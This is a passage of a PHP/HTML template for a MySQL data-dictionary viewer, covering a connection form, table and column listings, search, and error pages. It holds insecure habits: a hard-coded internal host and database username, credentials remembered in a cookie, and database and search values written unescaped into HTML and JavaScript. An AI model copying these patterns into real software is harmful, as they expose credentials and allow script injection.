.toggle-show-info-block p{padding:6px 16px;margin:0;white-space:nowrap}
.toggle-show-info-block p span{display:inline-block;vertical-align:top;}
.toggle-show-info-block p .config-field{text-align:right;min-width:70px}
.toggle-show-info-block p .config-value{color:#2a28d2;}
.toggle-show-info-block p:hover{background-color:#ccc;}
.list-content{width:100%;margin:0 auto;padding:20px 0;}
.table-name-title-block{position:relative;padding:10px 0;}
.table-name-title-block .table-name-title{margin:0;background-color:#f8f8f8;padding:0 4px;cursor:pointer;}
.table-name-title-block .table-name-title.lap-off{border-bottom:1px solid #ddd;}
.table-name-title-block .table-name-title .lap-icon{padding:0 10px;}
.table-name-title-block .table-name-title .table-name-anchor{display:block;padding:10px 0;}
.table-name-title-block .table-other-info{top:50%;margin-top:-12px;}
.table-one-content{position:relative;}
.ul-sort-title{margin:0 0 -1px;padding:0;font-size:0;z-index:3;}
ul.ul-sort-title,ul.ul-sort-title li{list-style:none;}
.ul-sort-title li{display:inline-block;background:#fff;padding:10px 20px;border:1px solid #ddd;border-right:0;color:#333;cursor:pointer;font-size:13px;}
.ul-sort-title li.active{background:#f0f0f0;border-bottom-color:#f0f0f0;}
.ul-sort-title li:hover{background:#1588d9;border:1px solid #aaa;border-right:0;color:#fff;}
.ul-sort-title li:last-child{border-right:1px solid #ddd;}
.table-other-info{position:absolute;right:4px;top:0;color:#666;font-size:12px;line-height:24px;}
.table-other-info dt,.table-other-info dd{margin:0;padding:0;display:inline;}
.table-other-info dt{margin-left:4px;}
.table-list{margin:0 auto;}
table{border-collapse:collapse;}
table caption{text-align:left;background-color:LightGreen;line-height:2em;font-size:14px;font-weight:bold;border:1px solid #985454;padding:10px;}
table th{text-align:left;font-weight:bold;height:26px;line-height:25px;font-size:13px;border:1px solid #ddd;background:#f0f0f0;padding:5px;}
table td{height:25px;font-size:12px;border:1px solid #ddd;padding:5px;word-break:break-all;color:#333;}
.db-table-name{padding:0 6px;}
table.table-info tbody tr:nth-child(2n){background-color:#fafaff;}
table.table-info tbody tr:hover{background-color:#f7f7f7;}
.column-index{width:40px;}
.column-field{width:200px;}
.column-data-type{width:130px;}
.column-comment{width:230px;}
.column-can-be-null{width:70px;}
.column-auto-increment{width:70px;}
.column-primary-key{width:40px;}
.column-default-value{width:60px;}
.column-character-set-name{width:60px;}
.column-collation-name{width:150px;}
.db-table-create-sql{width:1250px;}
.fix-category{position:fixed;width:300px;height:100%;overflow:auto;top:0;left:0;background:rgba(241,247,253,0.86);box-shadow:3px 0 6px rgba(0,0,0,.2);-webkit-box-shadow:3px 0 6px rgba(0,0,0,.2);-moz-box-shadow:3px 0 6px rgba(0,0,0,.2);z-index:99;}
.fix-category:hover{z-index:101;}
.fix-category-hide{left:-300px;overflow:hidden;background-color:rgba(0,23,255,0.22);cursor:pointer;}
.fix-category ul{padding:5px;margin:0;}
.fix-category ul li{margin:0;}
.fix-category ul li:hover{background:darkseagreen;}
.fix-category ul li a{display:block;padding: 5px 0 5px 8px;color:#1a407b;text-decoration:none;word-break:break-all;}
.fix-category ul li:hover a,
.fix-category ul li a:hover{color:#fff;}
.fix-category ul li .category-table-name{display:none;padding: 5px 0 5px 22px;color:#1a407b;text-decoration:none;word-break:break-all;font-size:13px;}
.fix-category ul li:hover .category-table-name{display:block;color:#fff;}
.fix-category-handle-bar{z-index:100;}
.fix-category-handle-bar-off .lap-ul{left:0}
.lap-ul{display:inline-block;width:12px;height:35px;background:rgba(12,137,42,0.43);border-bottom-right-radius:5px;border-top-right-radius:5px;position:fixed;top:50%;left:300px;cursor:pointer;border:1px solid rgba(31,199,58,0.43);font-size:12px;font-weight:normal;line-height:35px;text-align:center;z-index:100;}
.fix-category::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,0.3);-webkit-border-radius:10px;border-radius:10px}
.fix-category::-webkit-scrollbar{width:6px;height:5px}
.fix-category::-webkit-scrollbar-thumb{-webkit-border-radius:10px;border-radius:10px;background:rgba(231,178,13,0.31);-webkit-box-shadow:inset 0 0 6px rgba(231,178,13,0.31)}
/* 错误页面 */
.error-block{width:1000px;}
.error-title-block{padding:20px 0}
.error-title{text-align:center}
.error-content-block{width:680px;margin:0 auto;padding:20px;background:#fff;border:1px solid #cfcfcf}
.content-row{padding:15px 0}
.content-row p{margin:0;}
.content-row .content-normal-p{text-indent:2em;line-height:30px;}
.text-center{text-align:center;}
.reason-p{font-size:14px;padding:16px 0;line-height:40px;text-indent:4em;color:#f08080;}
/* 配置数据库相关 */
.data-setup-title{padding:20px 0}
.setup-title{text-align:center}
.data-form-block{width:680px;margin:0 auto;padding:20px;background:#fff;border:1px solid #cfcfcf}
.input-row{padding:15px 10px;vertical-align:middle;line-height:22px}
input{background-color:#fff;border:1px solid #ccc;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s;display:inline-block;padding:4px 6px;font-size:14px;line-height:20px;color:#555;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}
input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}
.input-field{display:inline-block;width:320px}
.input-field label{display:inline-block;width:100px;text-align:right;vertical-align:middle}
.normal-input{line-height:25px}
.input-tips{display:inline-block;width:280px;padding-left:20px;vertical-align:middle}
.form-handle{padding:20px;text-align:center}
.btn{display:inline-block;text-align:center;vertical-align:middle;padding:10px 12px;text-decoration:none;margin:8px;font-size:14px;}
.btn-tight{margin:0;}
.setup-submit{width:100px;height:50px;background:#0059F7;color:#fff;border-radius:5px}
.setup-submit:hover{background-color:#f72614}
.setup-cancel{width:100px;height:50px;line-height:50px;background-color:#5cb85c;border-radius:5px;color:#fff;padding:0;}
.setup-cancel:hover{background-color:#4fa94f}
input[type="submit"],input[type="reset"]{border:none;cursor:pointer;-webkit-appearance:button}
input[type="checkbox"]{margin-right:10px;cursor:pointer;}
label.label-checkbox{width:auto;padding-left:100px;cursor:pointer}
.data-form-block .tips{width:85%;margin:0 auto;}
.data-form-block .tips .tips-p{padding:10px 14px;color:#555;font-size:13px;}
.data-form-block .tips .tips-p.notice-important{background-color:#ffefef;border:1px solid #ffd2d2}
/* 右下角 */
.right-bar-block{position:fixed;left:50%;bottom:245px;margin-left:620px;}
.right-bar-block .go-to-top{width:20px;border:1px solid #ddd;text-align:center;cursor:pointer;display:none;font-size:13px;padding:6px 0;}
</style>
</head>
<body>
<div class="wrap">
<!-- S 头部 S -->
<div class="header">
</div>
<!-- E 头部 E-->
<!-- S 主要内容 S -->
<div class="main">
<div class="main-content w-wrap">
<?php if (isset($_GET['config'])) {?>
<div class="data-setup-title">
<h1 class="setup-title">数据库配置</h1>
</div>
<div class="data-form-block">
<div class="input-row">
<div class="input-field">
<label for="db_server">数据库主机</label>
<input type="text" name="db_server" id="db_server" value="<?php echo isset($tmpConfig['db_server'])?$tmpConfig['db_server']:'192.168.1.160';?>" class="normal-input" title="请输入数据库主机" placeholder="localhost" required />
</div>
<div class="input-tips">
<span class="tips">连接地址,如localhost、IP地址</span>
</div>
</div>
<div class="input-row">
<div class="input-field">
<label for="db_port">端口</label>
<input type="text" name="db_port" id="db_port" value="<?php echo isset($tmpConfig['db_port'])?$tmpConfig['db_port']:'3306';?>" class="normal-input" title="请输入端口" placeholder="请输入端口" required />
</div>
<div class="input-tips">
<span class="tips">数据库连接什么端口?</span>
</div>
</div>
<div class="input-row">
<div class="input-field">
<label for="db_database">数据库名</label>
<input type="text" name="db_database" id="db_database" value="<?php echo isset($tmpConfig['db_database'])?$tmpConfig['db_database']:'tmc';?>" class="normal-input" title="请输入数据库名" placeholder="请输入数据库名" required />
</div>
<div class="input-tips">
<span class="tips">将连接哪个数据库?</span>
</div>
</div>
<div class="input-row">
<div class="input-field">
<label for="db_user">用户名</label>
<!-- 解决浏览器自动填充数据的问题 -->
<label for="fake_db_user" style="display:none"></label>
<input type="text" name="fake_username_remembered" id="fake_db_user" style="display:none" />
<input type="text" name="db_user" id="db_user" value="<?php echo isset($tmpConfig['db_user'])?$tmpConfig['db_user']:'meixiansong_tms_rw';?>" class="normal-input" title="请输入用户名" placeholder="请输入用户名" required />
</div>
<div class="input-tips">
<span class="tips">你的MySQL用户名</span>
</div>
</div>
<div class="input-row">
<div class="input-field">
<label for="db_password">密码</label>
<!-- 解决浏览器自动填充数据的问题 -->
<label for="fake_db_password" style="display:none"></label>
<input type="password" name="fake_password_remembered" id="fake_db_password" style="display:none" />
<input type="password" name="db_password" id="db_password" autocomplete="off" value="<?php echo isset($tmpConfig['db_password'])?$tmpConfig['db_password']:'<PASSWORD>';?>" class="normal-input" title="请输入密码" placeholder="请输入密码" required />
</div>
<div class="input-tips">
<span class="tips">数据库密码</span>
</div>
</div>
<div class="input-row">
<div class="input-field">
<label for="remember_config" class="label-checkbox"><input type="checkbox" name="remember_config" checked id="remember_config" value="1" />记住配置(存入Cookie)</label>
</div>
</div>
<div class="form-handle">
<div class="form-handle-field">
<span class="handle-cell"><input type="submit" class="btn setup-submit" name="setup_form_submit" id="db_set_submit" value="提交" /></span>
<span class="handle-cell"><a class="btn setup-cancel" href="javascript:history.back();">返回</a></span>
</div>
</div>
</div>
<script type="text/javascript">
var $db_set_submit = document.getElementById('db_set_submit');
$db_set_submit.onclick = function (){
var $db_database = document.getElementById('db_database').value,
$db_user = document.getElementById('db_user').value,
$db_password = document.getElementById('db_password').value,
$db_server = document.getElementById('db_server').value,
$db_port = document.getElementById('db_port').value,
$remember_config = document.getElementById('remember_config');
var $remember_config_val = $remember_config.checked ? $remember_config.value : 0;
$.ajax({
url: "<?php echo $baseUrl;?>?postConfig",//请求地址
type: "POST", //请求方式
data: { db_server:$db_server, db_database: $db_database, db_user: $db_user, db_password: <PASSWORD>, db_port:$db_port ,remember_config:$remember_config_val},//请求参数
dataType: "json",
success: function (response, xml) {
// 此处放成功后执行的代码
window.location.href = "<?php echo $baseUrl;?>";
},
fail: function (status) {
// 此处放失败后执行的代码
alert('出现问题:' + status);
}
});
};
</script>
<?php }elseif(isset($multiple_tables)){?>
<div class="toolbar-block fixed" id="tool_bar">
<div class="operate-db-block w-wrap">
<div class="handle-block">
<div class="toolbar-input-block search-input">
<label for="search_input" class="toolbar-input-label">输入表名检索:</label>
<input type="text" name="search_input" id="search_input" class="toolbar-input" placeholder="search (table name only)" title="输入表名快速查找">
<span id="search_result_summary" class="search-result-summary">共<?php echo isset($total_tables) ? $total_tables : 0;?>个表</span>
<button class="delete-all-input" id="delete_search_input">X</button>
</div>
</div>
<div class="absolute-block">
<div class="toolbar-button-block">
<a href="javascript:void(0);" class="btn btn-tight unset-config" id="unset_config" title="清除cookie及session中保存的连接信息">安全删除配置信息</a>
</div>
<div class="toolbar-button-block">
<a href="javascript:void(0);" class="btn btn-tight lap-table" id="lap_table" title="折叠字典列表,仅展示表名概览">折叠内容</a>
</div>
<div class="toolbar-button-block">
<a href="javascript:void(0);" class="btn btn-tight hide-tab" id="hide_tab" title="每个字典只显示一个table">隐藏排序tab</a>
</div>
<div class="toolbar-button-block toggle-show">
<a href="?config" class="btn btn-tight change-db" title="点击可以输入配置" title="快速切换及重新填写配置切换连接">切换数据库</a>
<div class="toggle-show-info-block">
<?php foreach ($databases as $arr => $db) {?>
<a href="<?php echo $baseUrl . '?db=' . $db;?>"><p><?php echo $db?></p></a>
<?php }?>
</div>
</div>
<div class="toolbar-button-block toggle-show" id="connect_info">
<a href="javascript:void(0);" class="btn btn-tight connect-info" title="本次连接信息">连接信息</a>
<div class="toggle-show-info-block">
<p><span class="config-field">刷新时间:</span><span class="config-value"><?php echo isset($currentTime)?$currentTime:'';?></span></p>
<p><span class="config-field">数据库:</span><span class="config-value"><?php echo isset($tmpConfig['db_database'])?$tmpConfig['db_database']:'';?></span></p>
<p><span class="config-field">用户:</span><span class="config-value"><?php echo isset($tmpConfig['db_user'])?$tmpConfig['db_user']:'';?></span></p>
<p><span class="config-field">主机:</span><span class="config-value"><?php echo isset($tmpConfig['db_server'])?$tmpConfig['db_server']:'';?></span></p>
<p><span class="config-field">端口:</span><span class="config-value"><?php echo isset($tmpConfig['db_port'])?$tmpConfig['db_port']:'';?></span></p>
<?php if(isset($total_tables)){?>
<p><span class="config-field">表总数:</span><span class="config-value"><?php echo $total_tables;?></span></p>
<?php }?>
</div>
</div>
</div>
</div>
</div>
<div class="toolbar-block-placeholder"></div>
<div class="fix-category" id="fix_category">
<div class="category-content-block">
<ul>
<?php foreach ($multiple_tables as $k => $v) {?>
<li>
<a href="#<?php echo $v['origin']['tableName']?>"><?php echo str_pad($k+1, $num_width, "0", STR_PAD_LEFT).'. '.$v['origin']['tableName']?><span class="category-table-name"><?php echo $v['origin']['tableComment']?></span></a>
</li>
<?php }?>
</ul>
</div>
</div>
<div class="fix-category-handle-bar">
<b class="lap-ul" id="lap_ul" title="点击折起左侧目录"><</b>
</div>
<div class="list-content">
<h2 style="text-align:center;"><?php echo $title;?></h2>
<div class="table-list" id="table_list">
<?php foreach ($multiple_tables as $k => $v) {?>
<div class="table-one-block">
<div class="table-name-title-block">
<h3 class="table-name-title lap-on">
<a id="<?php echo $v['origin']['tableName'];?>" class="table-name-anchor">
<span class="lap-icon">-</span>
<span class="db-table-index"><?php echo str_pad($k+1, $num_width, "0", STR_PAD_LEFT)?>.</span>
<span class="db-table-name"><?php echo $v['origin']['tableName']?></span>
<span class="db-table-comment"><?php echo $v['origin']['tableComment']?></span>
</a>
</h3>
<dl class="table-other-info">
<dt>最后更新于:</dt>
<dd><?php echo $v['origin']['createTime']?></dd>
<?php if(!empty($v['origin']['updateTime'])){?>
<dt>更新于:</dt>
<dd><?php echo $v['origin']['updateTime']?></dd>
<?php }?>
</dl>
</div>
<div class="table-one-content">
<ul class="ul-sort-title">
<li class="active"><span>自然结构</span></li>
<li><span>字段排序</span></li>
<li><span>建表语句</span></li>
</ul>
<!--<dl class="table-other-info">
<dt>最后更新于:</dt>
<dd><?php /*echo $v['origin']['createTime']*/?></dd>
<?php /*if(!empty($v['origin']['updateTime'])){*/?>
<dt>更新于:</dt>
<dd><?php /*echo $v['origin']['updateTime']*/?></dd>
<?php /*}*/?>
</dl>-->
<table class="table-info">
<thead>
<tr>
<th>序号</th><th>字段名</th><th>字段名驼峰形式</th><th>数据类型</th><th>注释</th><th>允许空值</th><th>默认值</th><th>自动递增</th><th>主键</th><th>字符集</th><th>排序规则</th>
</tr>
</thead>
<tbody>
<?php foreach ($v['origin']['columns']as $column_key => $f) {?>
<tr>
<td class="column-index"><?php echo str_pad($column_key+1, strlen(count($v['origin']['columns'])), "0", STR_PAD_LEFT);?></td>
<td class="column-field"><?php echo $f['columnName'];?></td>
<td class="column-field"><?php echo $f['columnNameCamelStyle'];?></td>
<td class="column-data-type"><?php echo $f['columnType'];?></td>
<td class="column-comment"><?php echo $f['columnComment'];?></td>
<td class="column-can-be-null"><?php echo $f['isNullable'];?></td>
<td class="column-default-value"><?php echo $f['columnDefault'];?></td>
<td class="column-auto-increment"><?php echo $f['extra'] == 'auto_increment' ? 'YES' : '';?></td>
<td class="column-primary-key"><?php echo $f['columnKey'] == 'PRI' ? 'YES' : '';?></td>
<td class="column-character-set-name"><?php echo $f['characterSetName'];?></td>
<td class="column-collation-name"><?php echo $f['collationName'];?></td>
</tr>
<?php }?>
</tbody>
</table>
<table class="table-info" style="display:none;">
<thead>
<tr>
<th>序号</th><th>字段名</th><th>字段名驼峰形式</th><th>数据类型</th><th>注释</th><th>允许空值</th><th>默认值</th><th>自动递增</th><th>主键</th><th>字符集</th><th>排序规则</th>
</tr>
</thead>
<tbody>
<?php foreach ($v['ordered']['columns']as $column_key => $f) {?>
<tr>
<td class="column-index"><?php echo str_pad($column_key+1, strlen(count($v['origin']['columns'])), "0", STR_PAD_LEFT);?></td>
<td class="column-field"><?php echo $f['columnName'];?></td>
<td class="column-field"><?php echo $f['columnNameCamelStyle'];?></td>
<td class="column-data-type"><?php echo $f['columnType'];?></td>
<td class="column-comment"><?php echo $f['columnComment'];?></td>
<td class="column-can-be-null"><?php echo $f['isNullable'];?></td>
<td class="column-default-value"><?php echo $f['columnDefault'];?></td>
<td class="column-auto-increment"><?php echo $f['extra'] == 'auto_increment' ? 'YES' : '';?></td>
<td class="column-primary-key"><?php echo $f['columnKey'] == 'PRI' ? 'YES' : '';?></td>
<td class="column-character-set-name"><?php echo $f['characterSetName'];?></td>
<td class="column-collation-name"><?php echo $f['collationName'];?></td>
</tr>
<?php }?>
</tbody>
</table>
<table class="table-info" style="display:none;">
<thead>
<tr>
<th>建表语句</th>
</tr>
</thead>
<tbody>
<tr>
<td class="db-table-create-sql"><?php echo "<pre>".$v['ordered']['createSql']."</pre>";?></td>
</tr>
</tbody>
</table>
</div>
</div>
<?php }?>
</div>
</div>
<div class="right-bar-block">
<div class="right-bar-nav">
<div class="go-to-top" id="go_to_top" title="返回页面顶部">回顶部</div>
</div>
</div>
<script type="text/javascript">
// 键入字符检索表
var $table_list_arr = [], $table_list_comment_arr = [];
<?php foreach ($multiple_tables as $k => $v) {?>
$table_list_arr[<?php echo $k;?>] = "<?php echo $v['origin']['tableName'];?>";
$table_list_comment_arr[<?php echo $k;?>] = "<?php echo $v['origin']['tableComment'];?>";
<?php }?>
var $search_input = document.getElementById('search_input');
$search_input.onkeyup = function(){
var $pattern = $search_input.value;
var $lap_table = document.getElementById('lap_table');
var table_list = document.getElementById('table_list');
var $fix_category = document.getElementById('fix_category');
var $category_ul = $fix_category.getElementsByTagName('ul');
var $category_li_list = $category_ul[0].children;
var $match_result = [];
for (var i = 0, $table_count = $table_list_arr.length; i < $table_count; i++){
if($table_list_arr[i].match($pattern) || $table_list_comment_arr[i].match($pattern)){
$match_result.push(i);
table_list.children[i].style.display = 'block';
table_list.children[i].children[0].className = 'table-name-title-block lap-off';
table_list.children[i].children[0].children[0].className = 'table-name-title lap-off';
table_list.children[i].children[1].style.display = 'none';
table_list.children[i].children[0].children[0].children[0].children[0].innerText = "+";
// 高亮样式
table_list.children[i].children[0].children[0].children[0].children[2].innerHTML =
table_list.children[i].children[0].children[0].children[0].children[2].innerText;
table_list.children[i].children[0].children[0].children[0].children[2].innerHTML =
table_list.children[i].children[0].children[0].children[0].children[2].innerHTML.replace($pattern, '<strong style="color:red;">'+ $pattern +'</strong>');
table_list.children[i].children[0].children[0].children[0].children[3].innerHTML =
table_list.children[i].children[0].children[0].children[0].children[3].innerText;
table_list.children[i].children[0].children[0].children[0].children[3].innerHTML =
table_list.children[i].children[0].children[0].children[0].children[3].innerHTML.replace($pattern, '<strong style="color:red;">'+ $pattern +'</strong>');
$category_li_list[i].children[0].style.color = '#c71212';
}else{
table_list.children[i].style.display = 'none';
table_list.children[i].children[0].className = 'table-name-title-block lap-on';
table_list.children[i].children[0].children[0].className = 'table-name-title lap-on';
table_list.children[i].children[1].style.display = 'block';
table_list.children[i].children[0].children[0].children[0].children[2].innerHTML =
table_list.children[i].children[0].children[0].children[0].children[2].innerText;
$category_li_list[i].children[0].style.color = '';
}
}
var $search_result_summary = document.getElementById('search_result_summary');
$search_result_summary.innerText = '共' + $match_result.length + '条结果';
// 若只有一条匹配记录,则展开显示
if($match_result.length == 1){
table_list.children[$match_result[0]].children[0].className = 'table-name-title-block lap-on';
table_list.children[$match_result[0]].children[0].children[0].className = 'table-name-title lap-on';
table_list.children[$match_result[0]].children[1].style.display = 'block';
table_list.children[$match_result[0]].children[0].children[0].children[0].children[0].innerText = "-";
$lap_table.className = 'btn btn-tight lap-table';
$lap_table.innerHTML = '折叠内容';
}else{
$lap_table.className = 'btn btn-tight lap-table-already';
$lap_table.innerHTML = '展开内容';
if($match_result.length == $table_list_arr.length){
$search_result_summary.innerText = '共' + $table_list_arr.length + '个表';
for(var j = 0; j<$match_result.length; j++){
$category_li_list[j].children[0].style.color = '';
}
}
}
};
//点击隐藏侧边导航栏
var $fixLap = document.getElementById('lap_ul');
$fixLap.onclick = function(){
var fixCategory = document.getElementById('fix_category');
var fixCategoryHandleBar = this.parentNode;
if(fixCategoryHandleBar.className == 'fix-category-handle-bar'){
fixCategory.className = 'fix-category fix-category-hide';
fixCategoryHandleBar.className = 'fix-category-handle-bar fix-category-handle-bar-off';
this.innerHTML='>';
}else if(fixCategoryHandleBar.className == 'fix-category-handle-bar fix-category-handle-bar-off'){
fixCategory.className = 'fix-category';
fixCategoryHandleBar.className = 'fix-category-handle-bar';
this.innerHTML='<';
}
};
var $fix_category = document.getElementById('fix_category');
$fix_category.onclick = function () {
var $toolBar = document.getElementById('tool_bar');
$toolBar.style.position = 'absolute';
};
var table_list = document.getElementById('table_list');
// 内容折叠
var $title_arr = table_list.getElementsByTagName('h3');
for (i = 0, $title_arr_length = $title_arr.length; i < $title_arr_length; i++){
$title_arr[i].onclick = function(){
this.parentNode.nextElementSibling.style.display = (this.parentNode.nextElementSibling.style.display === "none" ? "block" : "none");
this.className = (this.className == "table-name-title lap-off" ? "table-name-title lap-on" : "table-name-title lap-off");
this.parentNode.className = (this.parentNode.className == "table-name-title-block lap-off" ? "table-name-title-block lap-on" : "table-name-title-block lap-off");
this.children[0].children[0].innerText = (this.className == "table-name-title lap-on" ? '-' : '+');
}
}
// 折叠/展开所有
var $lap_table = document.getElementById('lap_table');
$lap_table.onclick = function(){
var i = 0,$title_arr_length = 0;
if(this.className == 'btn btn-tight lap-table'){
for (i = 0, $title_arr_length = $title_arr.length; i < $title_arr_length; i++){
$title_arr[i].className = 'table-name-title lap-off';
$title_arr[i].parentNode.nextElementSibling.style.display = 'none';
$title_arr[i].children[0].children[0].innerText = '+';
}
this.className = 'btn btn-tight lap-table-already';
this.innerHTML = '展开内容';
return true;
}
if(this.className == 'btn btn-tight lap-table-already'){
for (i = 0, $title_arr_length = $title_arr.length; i < $title_arr_length; i++){
$title_arr[i].className = 'table-name-title lap-on';
$title_arr[i].parentNode.nextElementSibling.style.display = 'block';
$title_arr[i].children[0].children[0].innerText = '-';
}
this.className = 'btn btn-tight lap-table';
this.innerHTML = '折叠内容';
return true;
}
};
// Tab切换
var ul_arr = table_list.getElementsByTagName('ul');
var dl_arr = table_list.getElementsByTagName('dl');
for (i = 0, ul_arr_length = ul_arr.length; i < ul_arr_length; i++) {
var li_arr = ul_arr[i].getElementsByTagName('li');
for(var j = 0;j<li_arr.length;j++){
(function(j){
li_arr[j].onclick = function() {
var ul = this.parentNode;
//标题样式切换
var li = ul.getElementsByTagName('li');
for (var k = 0; k < li.length; k++) {
li[k].className = '';
}
this.className = 'active';
var div = ul.parentNode;
//表格切换显示
var tables = div.getElementsByTagName('table');
for (var l = 0; l < tables.length; l++) {
tables[l].style.display = 'none';
}
tables[j].style.display = 'block';
}
}(j));
}
}
//隐藏Tab
var $hide_tab = document.getElementById('hide_tab');
$hide_tab.onclick = function(){
var i = 0, ul_arr_length = 0;
if(this.className == 'btn btn-tight hide-tab-already'){
for (i = 0, ul_arr_length = ul_arr.length; i < ul_arr_length; i++) {
ul_arr[i].style.display = 'block';
dl_arr[i].style.display = 'block';
}
this.className = 'btn btn-tight hide-tab';
this.innerHTML = '隐藏排序tab';
return true;
}
if(this.className == 'btn btn-tight hide-tab'){
for (i = 0, ul_arr_length = ul_arr.length; i < ul_arr_length; i++) {
ul_arr[i].style.display = 'none';
dl_arr[i].style.display = 'none';
}
this.className = 'btn btn-tight hide-tab-already';
this.innerHTML = '显示排序tab';
return true;
}
};
//删除配置信息
var $unset_config = document.getElementById('unset_config');
$unset_config.onclick = function () {
if (!confirm('确认删除吗?')){
return false;
}
$.ajax({
url: "<?php echo $baseUrl;?>?unsetConfig",//请求地址
type: "POST", //请求方式
dataType: "json",
success: function (response, xml) {
// 此处放成功后执行的代码
window.location.href = "<?php echo $baseUrl;?>?deleteSuccess";
},
fail: function (status) {
// 此处放失败后执行的代码
alert('出现问题:' + status);
}
});
};
/**
* @doc 删除输入
* @author fanggang
* @time 2016-03-20 21:51:46
*/
var $delete_search_input = document.getElementById('delete_search_input');
var $searchInput = document.getElementById('search_input');
$delete_search_input.onclick = function(){
if($searchInput.value == '') return false;
$searchInput.value = '';
//原生js主动触发事件
var evt = document.createEvent('MouseEvent');
evt.initEvent("keyup",true,true);
document.getElementById("search_input").dispatchEvent(evt);
};
//回到顶部功能
goToTop('go_to_top', false);
/**
* @doc 回到顶部功能函数
* @param id string DOM选择器ID
* @param show boolean true是一直显示按钮,false是当滚动距离超过指定高度时显示按钮
* @param height integer 超过高度才显示按钮
* @author fanggang
* @time 2015-11-19 15:44:51
*/
function goToTop (id, show, height) {
var oTop = document.getElementById(id);
oTop.onclick = scrollToTop;
function scrollToTop() {
var d = document,
dd = document.documentElement,
db = document.body,
top = dd.scrollTop || db.scrollTop,
step = Math.floor(top / 20);
(function() {
top -= step;
if (top > -step) {
dd.scrollTop == 0 ? db.scrollTop = top: dd.scrollTop = top;
setTimeout(arguments.callee, 20);
}
})();
}
}
</script>
<?php }?>
<?php if (isset($_GET['mysqlConnectError'])) {?>
<div class="error-block">
<div class="error-title-block">
<h1 class="error-title">数据库连接错误</h1>
</div>
<div class="error-content-block">
<div class="content-row">
<p class="content-normal-p">数据库连接错误,请检查配置信息是否填写正确。</p>
<p class="content-p reason-p">
<?php echo isset($_SESSION['_db_connect_errno']) ? $_SESSION['_db_connect_errno'] : 'Unknown error code'; ?> :
<?php echo isset($_SESSION['_db_connect_error']) ? $_SESSION['_db_connect_error'] : 'Unknown reason'; ?>
</p>
<p class="text-center"><a href="?config" class="btn change-db">重新填写数据库配置</a></p>
</div>
</div>
</div>
<?php }?>
<?php if (isset($_GET['deleteSuccess'])) {?>
<div class="error-block">
<div class="error-title-block">
<h1 class="error-title">已经成功删除保存的配置信息</h1>
</div>
<div class="error-content-block">
<div class="content-row">
<p class="content-normal-p">已经成功删除保存的配置信息:Session与Cookie中的配置信息均已被安全删除。</p>
<p class="text-center"><a href="?config" class="btn change-db">重新填写数据库配置</a></p>
</div>
</div>
</div>
<?php }?>
</div>
</div>
<!-- E 主要内容 E -->
<div class="clear"></div>
<!-- S 脚部 S -->
<div class="footer"></div>
<!-- E 脚部 E -->
<script type="text/javascript">
var $ = {};
$.ajax = function ajax(options) {
options = options || {};
options.type = (options.type || "GET").toUpperCase();
options.dataType = options.dataType || "json";
var params = formatParams(options.data);
//创建 - 非IE6 - 第一步
/*if (window.XMLHttpRequest) {
var xhr = new XMLHttpRequest();
} else { //IE6及其以下版本浏览器
var xhr = new ActiveXObject('Microsoft.XMLHTTP');
}*/
var xhr = createAjax();
//接收 - 第三步
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
var status = xhr.status;
if (status >= 200 && status < 300) {
options.success && options.success(xhr.responseText, xhr.responseXML);
} else {
options.fail && options.fail(status);
}
}
};
//连接 和 发送 - 第二步
if (options.type == "GET") {
xhr.open("GET", options.url + "?" + params, true);
xhr.send(null);
} else if (options.type == "POST") {
xhr.open("POST", options.url, true);
//设置表单提交时的内容类型
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(params);
}
};
//格式化参数
function formatParams(data) {
var arr = [];
for (var name in data) {
if (data.hasOwnProperty(name)) {
arr.push(encodeURIComponent(name) + "=" + encodeURIComponent(data[name]));
}
}
return arr.join("&");
}
var createAjax = function() {
var xhr = null;
try {
//IE系列浏览器
xhr = new ActiveXObject("microsoft.xmlhttp");
} catch (e1) {
try {
//非IE浏览器
xhr = new XMLHttpRequest();
} catch (e2) {
window.alert("您的浏览器不支持ajax,请更换!");
}
}
return xhr;
};
//浏览器滚动事件处理
window.onscroll = function(e) {
/**
* 顶部导航当用户向下滚动时不钉住,向上滚动时钉住
* @author 方刚
* @time 2014-10-30 16:08:58
*/
var scrollFunc = function(e) {
e = e || window.event;
var $toolBar = document.getElementById('tool_bar');
if (e.wheelDelta) { // 判断浏览器IE,谷歌滑轮事件
if (e.wheelDelta > 0) { // 当滑轮向上滚动时
//alert("滑轮向上滚动");
$toolBar.style.position = 'fixed';
}
if (e.wheelDelta < 0) { // 当滑轮向下滚动时
//alert("滑轮向下滚动");
$toolBar.style.position = 'absolute';
}
} else if (e.detail) { // Firefox滑轮事件与Chrome刚好相反
if (e.detail > 0) { // 当滑轮向上滚动时
//alert("滑轮向下滚动");
$toolBar.style.position = 'absolute';
}
if (e.detail < 0) { // 当滑轮向下滚动时
//alert("滑轮向上滚动");
$toolBar.style.position = 'fixed';
}
}
};
// 给页面绑定滑轮滚动事件
if (document.addEventListener) {
document.addEventListener('DOMMouseScroll', scrollFunc, false);
}
// 滚动滑轮触发scrollFunc方法
window.onmousewheel = document.onmousewheel = scrollFunc;
/**
* 如果滚动幅度超过半屏浏览器则淡出“回到顶部按钮”
* @author 方刚
* @times
*/
var $go_to_top = document.getElementById('go_to_top');
var scrollTop = document.documentElement.scrollTop || document.body.scrollTop;
if(scrollTop > (getWindowSize().height * 3 /4)){
$go_to_top.style.display = 'block';
}
else{
$go_to_top.style.display = 'none';
}
};
/**
* 获取窗口可视宽高
* @author 方刚
* @time 2014-10-28 17:51:55
* @returns Array
*/
function getWindowSize() {
var winHeight, winWidth;
